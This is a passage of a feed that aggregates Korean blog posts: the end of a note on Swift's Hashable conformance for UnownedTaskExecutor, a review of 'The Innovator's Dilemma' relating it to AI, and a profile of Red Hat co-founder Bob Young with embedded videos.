    hasher.combine(impl)
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size="size18"&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;&lt;br /&gt;&lt;code&gt;unsafeBitCast&lt;/code&gt;를 직접 사용해야 한다는 점에서 불필요하게 위험하고 번거롭습니다. 표준 라이브러리 차원에서 제공하는 것이 당연히 올바른 방향이라고 생각합니다.&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style="style1" /&gt;
&lt;h2 data-ke-size="size26"&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size="size18"&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;아주 작은 변경이지만, &lt;b&gt;굉장히 자연스러운 확장&lt;/b&gt;입니다  &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size18"&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;&lt;code&gt;Equatable&lt;/code&gt;을 채택하고 있는 타입이라면 &lt;code&gt;Hashable&lt;/code&gt;도 당연히 지원해야 한다는 Swift의 설계 철학에 맞게, &lt;code&gt;UnownedTaskExecutor&lt;/code&gt;도 이제 딕셔너리 키와 Set으로 자유롭게 활용할 수 있게 됩니다!&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size18"&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;executor 기반으로 리소스를 관리하는 코드를 작성하고 계신 분들께 특히 반가운 소식일 것 같습니다  &lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style="style1" /&gt;
&lt;h2 data-ke-size="size26"&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;&lt;b&gt;References&lt;/b&gt;&lt;/span&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;figure id="og_1778784735249" contenteditable="false" data-ke-type="opengraph" data-ke-align="alignCenter" data-og-type="object" data-og-title="swift-evolution/proposals/0523-hashable-unownedtask-executor.md at main &amp;middot; swiftlang/swift-evolution" data-og-description="This maintains proposals for changes and user-visible enhancements to the Swift Programming Language. - swiftlang/swift-evolution" data-og-host="github.com" data-og-source-url="https://github.com/swiftlang/swift-evolution/blob/main/proposals/0523-hashable-unownedtask-executor.md" data-og-url="https://github.com/swiftlang/swift-evolution/blob/main/proposals/0523-hashable-unownedtask-executor.md" data-og-image="https://scrap.kakaocdn.net/dn/bFo2Ef/dJMb86O6MRN/Xbx3QejrczjXFYwm2EyKO0/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/cdAawY/dJMb88F90tX/1z39Br2VC2aqKHkZd6lelk/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600"&gt;&lt;a href="https://github.com/swiftlang/swift-evolution/blob/main/proposals/0523-hashable-unownedtask-executor.md" target="_blank" rel="noopener" data-source-url="https://github.com/swiftlang/swift-evolution/blob/main/proposals/0523-hashable-unownedtask-executor.md"&gt;
&lt;div class="og-image" style="background-image: url('https://scrap.kakaocdn.net/dn/bFo2Ef/dJMb86O6MRN/Xbx3QejrczjXFYwm2EyKO0/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/cdAawY/dJMb88F90tX/1z39Br2VC2aqKHkZd6lelk/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600');"&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class="og-text"&gt;
&lt;p class="og-title" data-ke-size="size16"&gt;swift-evolution/proposals/0523-hashable-unownedtask-executor.md at main &amp;middot; swiftlang/swift-evolution&lt;/p&gt;
&lt;p class="og-desc" data-ke-size="size16"&gt;This maintains proposals for changes and user-visible enhancements to the Swift Programming Language. - swiftlang/swift-evolution&lt;/p&gt;
&lt;p class="og-host" data-ke-size="size16"&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;</summary>
    <title>[SE-0523] Hashable conformance for UnownedTaskExecutor</title>
    <updated>2026-05-15T03:53:25+09:00</updated>
    <dc:date>2026-05-15T03:53:25+09:00</dc:date>
  </entry>
  <entry>
    <author>
      <name>Jeremy</name>
    </author>
    <content type="html">&lt;!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd"&gt;
&lt;html&gt;&lt;body&gt;&lt;p&gt;&amp;lt;p&amp;gt;&amp;lt;img src="/images/2026/05/13/IMG_1876.png" alt="The innovator's dilemma" title="The innovator's dilemma" class="center-image" /&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;책을 읽으면서 계속 떠올랐던 건, 기존 강자들은 보통 가장 약한 부분이 아니라, 가장 잘하던 방식 때문에 무너진다는 점이 흥미로웠다.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;흔히 어떤 기업이 망하면 의사결정을 못했다거나, 기술력이 부족했다거나, 고객을 이해하지 못했다고 생각한다. 그런데 클레이튼 크리스텐슨은 오히려 반대 이야기를 한다. 고객 이야기를 너무 잘 듣고, 현재 사업을 너무 잘 운영하고 조직이 너무 효율적이기 때문에 새로운 변화를 놓친다는 것이다. 대부분의 조직은 ‘잘하는 방법’을 학습하면서 성장한다. 매출이 잘 나오는 고객에게 집중하고, KPI를 개선하고 효율을 높인다. 사실 틀린 게 하나도 없다. 오히려 굉장히 합리적이고 교과서적인 방식이다. 그런데 문제는 미래의 혁신은 거의 항상 지금 기준으로 보면 비효율적이라는 점이다.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;책에서 가장 많이 등장하는 단어인 파괴적 혁신(Disruptive Innovation). 초기의 파괴적 혁신은 늘 이상하다. 시장은 작고 고객은 별로 없어 보이고, 제품 완성도도 낮다. 지금 기준으로 보면 굳이 해야 할 이유가 없어 보인다. 그런데 시간이 지나면서 그 작은 변화가 기존 시장 전체를 바꿔버린다. 넷플릭스가 처음 등장했을 때 블록버스터 입장에서는 꽤 애매했을 것 같다. DVD를 우편으로 보내준다니. 게다가 스트리밍 초기 품질도 좋지 않았다. 그런데 결국 사람들은 비디오 대여점에 가지 않게 되었다. 노키아가 아이폰을 처음 봤을 때도 비슷했을 것이다. 전화기라기보단 느린 컴퓨터처럼 보였을지도 모른다.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;그리고 기존 강자들은 대부분 틀린 판단을 한 게 아니다. 당시 기준으로 보면 다 합리적이었다. 오히려 문제는 현재의 성공 방식이 미래 변화를 이해하지 못하게 만든다는 데 있었다. 지금 고객이 원하는 것, 지금 돈이 되는 것 그리고 지금 잘 작동하는 방식에 집중할수록 새로운 흐름은 더 작고 이상하게 보인다.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;요즘은 AI를 여기에 비춰볼 수 있을것 같다. 지금 대부분의 서비스는 ‘사용자가 직접 앱을 열고 탐색하는 구조’ 를 전제로 만들어져 있다. 검색도 그렇고 쇼핑도 그렇고 배달도 그렇다. 그런데 생성형 AI가 나오면서 이 흐름 자체를 바꾸고 있다. 점점 검색 결과 페이지보다 ‘답변’이 중요해지고 있고, 사용자가 여러 앱을 돌아다니기보다 AI 에이전트가 대신 처리해준다던가.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;그런데 기존 플랫폼 입장에서 이 변화는 꽤 어려울 것 같다. 지금 너무나도 잘 돌아가고 있기 때문.. 예를 들어, 검색 광고 모델은 검색 결과 페이지를 많이 보여줘야 한다. 하지만 AI는 링크 대신 답변을 준다. 체류시간 기반 서비스는 사용자가 오래 머물러야 좋다. 그런데 AI 에이전트는 오히려 클릭과 탐색을 줄인다. 결국 미래 방향이 기업 입장에서의 현재 수익 모델과 충돌한다. 그래서 혁신 기업의 딜레마는 단순히’“새로운 기술이 등장했다’ 가 아니라, 기존 성공 방식이 미래 변화를 막는 구조에 더 가까운 것 같았다.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;이 책에서는 기업에 대한 이야기만 하는데 개인에 대해서도 비슷하다. 사람도 어느 순간부터 자기가 잘하는 것만 반복하게 된다. 이미 인정받은 방식, 익숙한 선택과 성과를 냈던 패턴들. 효율은 점점 좋아진다. 대신 새로운 걸 시도하는 감각은 조금씩 사라진다. 그리고 대부분의 변화는 늘 비효율적으로 시작된다. 운동, 글쓰기, 새로운 분야에 대해 학습하는것. 처음엔 늘 못한다. 괜히 시간 낭비하는 기분도 든다. 그래서 대부분 다시 원래 잘하던 걸 하러 돌아간다. 꾸준히 무언가를 배우는 사람들의 공통점은 초기의 비효율을 견디는 능력인 것 같다. 기업은 작은 시장을 견디지 못하고 사람은 서툰 시기를 견디지 못한다.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;혁신은 대부분 기존 시장의 중심이 아니라 가장자리에서 시작된다. 혼다의 슈퍼커브가 과거에는 보이지 않던 새로운 시장을 열어준 것처럼, 처음엔 별로 중요하지 않아 보이는 사람들과 작은 취향, 이상한 행동들에서 변화가 시작된다. 혁신 기업의 딜레마는 단순한 경영 이론이라기보다, 성공이 어떻게 사람과 조직을 점점 보수적으로 만드는지에 대한 이야기다.&amp;lt;/p&amp;gt;

            
          &lt;/p&gt;&lt;/body&gt;&lt;/html&gt;
</content>
    <id>https://sungjk.github.io/2026/05/13/the-innovators-dilemma.html</id>
    <link href="https://sungjk.github.io/2026/05/13/the-innovators-dilemma.html"/>
    <summary type="html">
            
            &amp;lt;p&amp;gt;&amp;lt;img src=&amp;quot;/images/2026/05/13/IMG_1876.png&amp;quot; alt=&amp;quot;The innovator&amp;apos;s dilemma&amp;quot; title=&amp;quot;The innovator&amp;apos;s dilemma&amp;quot; class=&amp;quot;center-image&amp;quot; /&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;책을 읽으면서 계속 떠올랐던 건, 기존 강자들은 보통 가장 약한 부분이 아니라, 가장 잘하던 방식 때문에 무너진다는 점이 흥미로웠다.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;흔히 어떤 기업이 망하면 의사결정을 못했다거나, 기술력이 부족했다거나, 고객을 이해하지 못했다고 생각한다. 그런데 클레이튼 크리스텐슨은 오히려 반대 이야기를 한다. 고객 이야기를 너무 잘 듣고, 현재 사업을 너무 잘 운영하고 조직이 너무 효율적이기 때문에 새로운 변화를 놓친다는 것이다. 대부분의 조직은 ‘잘하는 방법’을 학습하면서 성장한다. 매출이 잘 나오는 고객에게 집중하고, KPI를 개선하고 효율을 높인다. 사실 틀린 게 하나도 없다. 오히려 굉장히 합리적이고 교과서적인 방식이다. 그런데 문제는 미래의 혁신은 거의 항상 지금 기준으로 보면 비효율적이라는 점이다.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;책에서 가장 많이 등장하는 단어인 파괴적 혁신(Disruptive Innovation). 초기의 파괴적 혁신은 늘 이상하다. 시장은 작고 고객은 별로 없어 보이고, 제품 완성도도 낮다. 지금 기준으로 보면 굳이 해야 할 이유가 없어 보인다. 그런데 시간이 지나면서 그 작은 변화가 기존 시장 전체를 바꿔버린다. 넷플릭스가 처음 등장했을 때 블록버스터 입장에서는 꽤 애매했을 것 같다. DVD를 우편으로 보내준다니. 게다가 스트리밍 초기 품질도 좋지 않았다. 그런데 결국 사람들은 비디오 대여점에 가지 않게 되었다. 노키아가 아이폰을 처음 봤을 때도 비슷했을 것이다. 전화기라기보단 느린 컴퓨터처럼 보였을지도 모른다.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;그리고 기존 강자들은 대부분 틀린 판단을 한 게 아니다. 당시 기준으로 보면 다 합리적이었다. 오히려 문제는 현재의 성공 방식이 미래 변화를 이해하지 못하게 만든다는 데 있었다. 지금 고객이 원하는 것, 지금 돈이 되는 것 그리고 지금 잘 작동하는 방식에 집중할수록 새로운 흐름은 더 작고 이상하게 보인다.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;요즘은 AI를 여기에 비춰볼 수 있을것 같다. 지금 대부분의 서비스는 ‘사용자가 직접 앱을 열고 탐색하는 구조’ 를 전제로 만들어져 있다. 검색도 그렇고 쇼핑도 그렇고 배달도 그렇다. 그런데 생성형 AI가 나오면서 이 흐름 자체를 바꾸고 있다. 점점 검색 결과 페이지보다 ‘답변’이 중요해지고 있고, 사용자가 여러 앱을 돌아다니기보다 AI 에이전트가 대신 처리해준다던가.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;그런데 기존 플랫폼 입장에서 이 변화는 꽤 어려울 것 같다. 지금 너무나도 잘 돌아가고 있기 때문.. 예를 들어, 검색 광고 모델은 검색 결과 페이지를 많이 보여줘야 한다. 하지만 AI는 링크 대신 답변을 준다. 체류시간 기반 서비스는 사용자가 오래 머물러야 좋다. 그런데 AI 에이전트는 오히려 클릭과 탐색을 줄인다. 결국 미래 방향이 기업 입장에서의 현재 수익 모델과 충돌한다. 그래서 혁신 기업의 딜레마는 단순히’“새로운 기술이 등장했다’ 가 아니라, 기존 성공 방식이 미래 변화를 막는 구조에 더 가까운 것 같았다.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;이 책에서는 기업에 대한 이야기만 하는데 개인에 대해서도 비슷하다. 사람도 어느 순간부터 자기가 잘하는 것만 반복하게 된다. 이미 인정받은 방식, 익숙한 선택과 성과를 냈던 패턴들. 효율은 점점 좋아진다. 대신 새로운 걸 시도하는 감각은 조금씩 사라진다. 그리고 대부분의 변화는 늘 비효율적으로 시작된다. 운동, 글쓰기, 새로운 분야에 대해 학습하는것. 처음엔 늘 못한다. 괜히 시간 낭비하는 기분도 든다. 그래서 대부분 다시 원래 잘하던 걸 하러 돌아간다. 꾸준히 무언가를 배우는 사람들의 공통점은 초기의 비효율을 견디는 능력인 것 같다. 기업은 작은 시장을 견디지 못하고 사람은 서툰 시기를 견디지 못한다.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;혁신은 대부분 기존 시장의 중심이 아니라 가장자리에서 시작된다. 혼다의 슈퍼커브가 과거에는 보이지 않던 새로운 시장을 열어준 것처럼, 처음엔 별로 중요하지 않아 보이는 사람들과 작은 취향, 이상한 행동들에서 변화가 시작된다. 혁신 기업의 딜레마는 단순한 경영 이론이라기보다, 성공이 어떻게 사람과 조직을 점점 보수적으로 만드는지에 대한 이야기다.&amp;lt;/p&amp;gt;

            
          </summary>
    <title>혁신기업의 딜레마(The innovator's dilemma)</title>
    <updated>2026-05-13T09:00:00+09:00</updated>
    <dc:date>2026-05-13T09:00:00+09:00</dc:date>
  </entry>
  <entry>
    <author>
      <name>코드리더</name>
    </author>
    <content type="html">&lt;!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd"&gt;
&lt;html&gt;&lt;body&gt;
&lt;p&gt;&lt;figure class="imageblock alignCenter" data-ke-mobilestyle="widthOrigin" data-origin-width="1728" data-origin-height="2428"&gt;&lt;span data-url="https://blog.kakaocdn.net/dn/bJ4gnV/dJMcahYGy3J/QZgXBFlPrtl9dKlmUdEO2K/img.png" data-phocus="https://blog.kakaocdn.net/dn/bJ4gnV/dJMcahYGy3J/QZgXBFlPrtl9dKlmUdEO2K/img.png"&gt;&lt;img src="https://blog.kakaocdn.net/dn/bJ4gnV/dJMcahYGy3J/QZgXBFlPrtl9dKlmUdEO2K/img.png" srcset="https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJ4gnV%2FdJMcahYGy3J%2FQZgXBFlPrtl9dKlmUdEO2K%2Fimg.png" onerror="this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';" loading="lazy" width="1728" height="2428" data-origin-width="1728" data-origin-height="2428"&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;케나다 온타리오 주에서 태어난 밥 영은 대학에서 역사학을 전공합니다. 대학 졸업 이후 컴퓨터 렌탈사업 등 여러 형태의 사업을 시도합니다. 그 가운데에서 그의 인생에 가장 큰 영향을 미친 시도가 바로 1993년 설립한 ACC Corp 입니다. ACC Corp는 오픈소스 소프트웨어 카달로그를 판매했습니다. 당시 인터넷 속도, 특히 미국의 인터넷 속도는 너무 느려서 리눅스같은 덩치가 큰 소프트웨어를 내려받기 힘들었습니다. 밥 영은 유닉스 관련 잡지, 공개 소프트웨어 CD등을 우편 주문 방식으로 판매했습니다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;이때 노스캐롤라이나에서 자신의 배포판을 만들던 &lt;a href="https://neozest2.tistory.com/entry/MarcEwingCreatedRedHatLinux" target="_blank" rel="noopener"&gt;마크 유잉(Marc Ewing)&lt;/a&gt;을 만납니다. (마크 유잉은 이미 소개한 적이 있죠.) 밥 영은 마크의 기술력에 자신이 가진 유통 감각이 더해지면 거대한 시장이 열릴 것이라고 직감했습니다. 1995년 둘은 레드햇소프트웨어를 공동으로 창업합니다. 레드햇 리눅스를 만든 후 '코드는 무료지만, 안정성과 책임은 유료다'라는 논리로 대기업을 설득하였으며, 지금까지도 레드햇은 서비스 구독 사업 모델을 유지하고 있습니다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;그의 통찰은 소프트웨어 제품의 시대는 저물고, 서비스 형태로 판매하는 시대가 다가올 것을 예견했습니다. 그는 '일반인도 리눅스를 쉽게 사용할 수 있어야 비즈니스로 성공한다'고 믿었고, 리눅스가 엔지니어들의 전유물이 아닌 비즈니스 솔루션으로 거듭나야 한다고 방향성을 명확히 했습니다. &lt;/p&gt;
&lt;p data-ke-size="size16"&gt;그는 무료로 사용할 수 있는 오픈소스를 어떻게 돈을 주고 구매하냐는 질문에 케첩을 예로 들었다고 합니다.&lt;/p&gt;
&lt;blockquote data-ke-style="style1"&gt;&lt;span style="font-family: 'Noto Serif KR';"&gt;누구나 직접 토마토를 사다가 집에서 케첩을 만들 수 있지만, 사람들은 하인즈(Heinz) 케첩을 구매합니다. 하인즈가 제공하는 품질의 일관성과 편리함, 그리고 신뢰를 믿기 때문이죠.&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size="size16"&gt;이 논리는 오픈소스 비즈니스 모델의 정석으로 받아들여졌고, 지금도 수많은 오픈소스 기업들이 수익을 창출하는 근거가 되고 있습니다. 그의 브랜딩과 사업모델 덕분에 유닉스 일변도였던 기업 시장에서 리눅스가 신뢰할 수 있는 대안 운영체제로 자리잡게 됩니다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;1999년 레드햇이 나스닥에 상장되었을 때 그는 CEO로서 IPO 주식 매수권을 오픈소스 개발자들에게  부여합니다. 이는 리눅스 공동체가 없었다면 레드햇도 존재할 수 없다는 그의 철학을 실천으로 옮긴 한 사례로 소개됩니다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;밥 영은 레드햇 CEO에서 내려온 후 레드햇에서 배운 '중앙집중된 권력을 사용자에게 되돌려주는 법'을 출판업계에 그대로 이식하여, 주문형 출판 시스템 업체인 루루닷컴을 설립합니다. 책이 팔리면 인쇄를 하는 시스템이었기 때문에 재고가 없었습니다. 또한 작가에게 수익 80%를 공유하는 구조를 운영하였습니다. &lt;/p&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;blockquote data-ke-style="style3"&gt;우리는 시장을 독점하려는 마이크로소프트와 경쟁하는 것이 아니라, 사용자가 자신의 컴퓨팅 환경을 직접 제어할 수 있는 자유를 위해 싸운다.&lt;/blockquote&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;blockquote data-ke-style="style3"&gt;나는 세계에서 가장 똑똑한 사람이 아니다. 하지만 나는 세계에서 가장 똑똑한 사람들을 내 주변에 모으는 방법은 알고 있다&lt;/blockquote&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;figure data-ke-type="video" data-ke-style="alignCenter" data-video-host="youtube" data-video-url="https://www.youtube.com/watch?v=uUMCQpitNYU" data-video-thumbnail="https://scrap.kakaocdn.net/dn/d5HeaE/dJMb88F9Hd7/vGR6Ce6heDzcRHnQFsSbz1/img.jpg?width=1280&amp;amp;height=720&amp;amp;face=546_282_656_402,https://scrap.kakaocdn.net/dn/Wcakq/dJMb8Z3v5NO/RcDqlajaZxRj9FoGJ99d3k/img.jpg?width=1280&amp;amp;height=720&amp;amp;face=546_282_656_402" data-video-width="860" data-video-height="484" data-video-origin-width="860" data-video-origin-height="484" data-ke-mobilestyle="widthContent" data-video-title="#95: From Startup to Grown-Up: Bob Young, co-founder of Red Hat - The origin of Open Source; the ..." data-original-url=""&gt;&lt;iframe src="https://www.youtube.com/embed/uUMCQpitNYU" width="860" height="484" frameborder="" allowfullscreen="true"&gt;&lt;/iframe&gt;
&lt;figcaption style="display: none;"&gt;&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;figure data-ke-type="video" data-ke-style="alignCenter" data-video-host="youtube" data-video-url="https://www.youtube.com/watch?v=9j9oOBgdLsQ" data-video-thumbnail="https://scrap.kakaocdn.net/dn/LhnaR/dJMb8T94io9/uyT0NuhgFCWS0VbXP6hv0K/img.jpg?width=480&amp;amp;height=360&amp;amp;face=111_85_299_290,https://scrap.kakaocdn.net/dn/xx5h8/dJMb8Rj6Jqi/p5flWyZLjPUDLYXCJCZMp0/img.jpg?width=480&amp;amp;height=360&amp;amp;face=111_85_299_290,https://scrap.kakaocdn.net/dn/vGGSU/dJMb8Z3v5OE/coK0md1brehls0SvHJiFP1/img.jpg?width=480&amp;amp;height=360&amp;amp;face=111_85_299_290" data-video-width="480" data-video-height="360" data-video-origin-width="480" data-video-origin-height="360" data-ke-mobilestyle="widthContent" data-video-title="Bob Young - The Software Industry and the Open Source Movement" data-original-url=""&gt;&lt;iframe src="https://www.youtube.com/embed/9j9oOBgdLsQ" width="480" height="360" frameborder="" allowfullscreen="true"&gt;&lt;/iframe&gt;
&lt;figcaption style="display: none;"&gt;&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;figure data-ke-type="video" data-ke-style="alignCenter" data-video-host="youtube" data-video-url="https://www.youtube.com/watch?v=_AyxdGrby7w" data-video-thumbnail="https://scrap.kakaocdn.net/dn/hbSJi/dJMb9hC5W9s/QO2uOuy3NOkQ1UxJXV5c01/img.jpg?width=1280&amp;amp;height=720&amp;amp;face=418_220_688_514,https://scrap.kakaocdn.net/dn/nxZ2X/dJMb8T94ipt/XID4eldX7G8Mkajkr2fReK/img.jpg?width=1280&amp;amp;height=720&amp;amp;face=418_220_688_514,https://scrap.kakaocdn.net/dn/bpAHgb/dJMb8RRWCQt/fukCaUUlryM9ormSLZQn2K/img.jpg?width=1280&amp;amp;height=720&amp;amp;face=418_220_688_514" data-video-width="860" data-video-height="484" data-video-origin-width="860" data-video-origin-height="484" data-ke-mobilestyle="widthContent" data-video-title="[OLF 2020 Keynote] Building Open Business with Bob Young, RED HAT Founder" data-original-url=""&gt;&lt;iframe src="https://www.youtube.com/embed/_AyxdGrby7w" width="860" height="484" frameborder="" allowfullscreen="true"&gt;&lt;/iframe&gt;
&lt;figcaption style="display: none;"&gt;&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;figure data-ke-type="video" data-ke-style="alignCenter" data-video-host="youtube" data-video-url="https://www.youtube.com/watch?v=L7y8u3G59gY" data-video-thumbnail="https://scrap.kakaocdn.net/dn/Wo9S7/dJMb8WeErfY/9Ebm7KmwDHxoVq5tLDjj0K/img.jpg?width=1280&amp;amp;height=720&amp;amp;face=0_0_1280_720,https://scrap.kakaocdn.net/dn/ibt59/dJMb8YXQkmz/wgRq0XaooXpIBi8QWnHRV0/img.jpg?width=1280&amp;amp;height=720&amp;amp;face=0_0_1280_720,https://scrap.kakaocdn.net/dn/L0zbi/dJMb8ZvGbFM/hmQ9Su90ZWILARJ8rlkKlk/img.jpg?width=1280&amp;amp;height=720&amp;amp;face=0_0_1280_720" data-video-width="860" data-video-height="484" data-video-origin-width="860" data-video-origin-height="484" data-ke-mobilestyle="widthContent" data-video-title="FSOSS 2014 Bob Young Day 2 Keynote #1" data-original-url=""&gt;&lt;iframe src="https://www.youtube.com/embed/L7y8u3G59gY" width="860" height="484" frameborder="" allowfullscreen="true"&gt;&lt;/iframe&gt;
&lt;figcaption style="display: none;"&gt;&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;figure data-ke-type="video" data-ke-style="alignCenter" data-video-host="youtube" data-video-url="https://www.youtube.com/watch?v=q-vKb-z1huM" data-video-thumbnail="https://scrap.kakaocdn.net/dn/bAi1Hu/dJMb8SXCyJC/TjMJ96vlLKcHUk2mUJtunK/img.jpg?width=480&amp;amp;height=360&amp;amp;face=242_116_291_169,https://scrap.kakaocdn.net/dn/cOrtXa/dJMb8YpZ8E9/bw6ayiTXALX7PrX55LcCq1/img.jpg?width=480&amp;amp;height=360&amp;amp;face=242_116_291_169,https://scrap.kakaocdn.net/dn/cpc7MC/dJMb9jgB1d4/Eg9kDuBPNUVnhD2SOowcck/img.jpg?width=480&amp;amp;height=360&amp;amp;face=242_116_291_169" data-video-width="480" data-video-height="360" data-video-origin-width="480" data-video-origin-height="360" data-ke-mobilestyle="widthContent" data-video-title="Bob Young - Things That Bug Me! (2/26/2009)" data-original-url=""&gt;&lt;iframe src="https://www.youtube.com/embed/q-vKb-z1huM" width="480" height="360" frameborder="" allowfullscreen="true"&gt;&lt;/iframe&gt;
&lt;figcaption style="display: none;"&gt;&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;figure data-ke-type="video" data-ke-style="alignCenter" data-video-host="youtube" data-video-url="https://www.youtube.com/watch?v=FJVEAXlPadg" data-video-thumbnail="https://scrap.kakaocdn.net/dn/3Ogv4/dJMb9iaVQ96/LhprgZMk0HSd3v0HExfeA1/img.jpg?width=1280&amp;amp;height=720&amp;amp;face=0_0_1280_720,https://scrap.kakaocdn.net/dn/5HVEI/dJMb9jgB1ec/VPSjNgLkSh3N8wMEHk2fgK/img.jpg?width=1280&amp;amp;height=720&amp;amp;face=0_0_1280_720" data-video-width="860" data-video-height="484" data-video-origin-width="860" data-video-origin-height="484" data-ke-mobilestyle="widthContent" data-video-title="All Things Open 2014 | Bob Young | So You Want To Start an Open Source Company" data-original-url=""&gt;&lt;iframe src="https://www.youtube.com/embed/FJVEAXlPadg" width="860" height="484" frameborder="" allowfullscreen="true"&gt;&lt;/iframe&gt;
&lt;figcaption style="display: none;"&gt;&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;figure data-ke-type="video" data-ke-style="alignCenter" data-video-host="youtube" data-video-url="https://www.youtube.com/watch?v=BpuGvcsqn3o" data-video-thumbnail="https://scrap.kakaocdn.net/dn/p7W01/dJMb8U8YlVd/Kk6jQquOECI3Sf9iNv7gjK/img.jpg?width=480&amp;amp;height=360&amp;amp;face=0_0_480_360,https://scrap.kakaocdn.net/dn/2ahFB/dJMb8ZvGbFY/YdPTwK8vwlXycyIelSzbAK/img.jpg?width=480&amp;amp;height=360&amp;amp;face=0_0_480_360,https://scrap.kakaocdn.net/dn/bjA0Re/dJMb8U8YlVc/hQy0GKIRTKz6OKaGhFDTx0/img.jpg?width=480&amp;amp;height=360&amp;amp;face=0_0_480_360" data-video-width="480" data-video-height="360" data-video-origin-width="480" data-video-origin-height="360" data-ke-mobilestyle="widthContent" data-video-title="Startup Summit II - Fireside Chat with Bob Young (8 of 9)" data-original-url=""&gt;&lt;iframe src="https://www.youtube.com/embed/BpuGvcsqn3o" width="480" height="360" frameborder="" allowfullscreen="true"&gt;&lt;/iframe&gt;
&lt;figcaption style="display: none;"&gt;&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;/body&gt;&lt;/html&gt;
</content>
    <id>https://neozest2.tistory.com/entry/BobYoungRedhatLuluCom</id>
    <link href="https://neozest2.tistory.com/entry/BobYoungRedhatLuluCom"/>
    <summary type="html">&lt;p&gt;&lt;figure class="imageblock alignCenter" data-ke-mobileStyle="widthOrigin" data-origin-width="1728" data-origin-height="2428"&gt;&lt;span data-url="https://blog.kakaocdn.net/dn/bJ4gnV/dJMcahYGy3J/QZgXBFlPrtl9dKlmUdEO2K/img.png" data-phocus="https://blog.kakaocdn.net/dn/bJ4gnV/dJMcahYGy3J/QZgXBFlPrtl9dKlmUdEO2K/img.png"&gt;&lt;img src="https://blog.kakaocdn.net/dn/bJ4gnV/dJMcahYGy3J/QZgXBFlPrtl9dKlmUdEO2K/img.png" srcset="https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJ4gnV%2FdJMcahYGy3J%2FQZgXBFlPrtl9dKlmUdEO2K%2Fimg.png" onerror="this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; 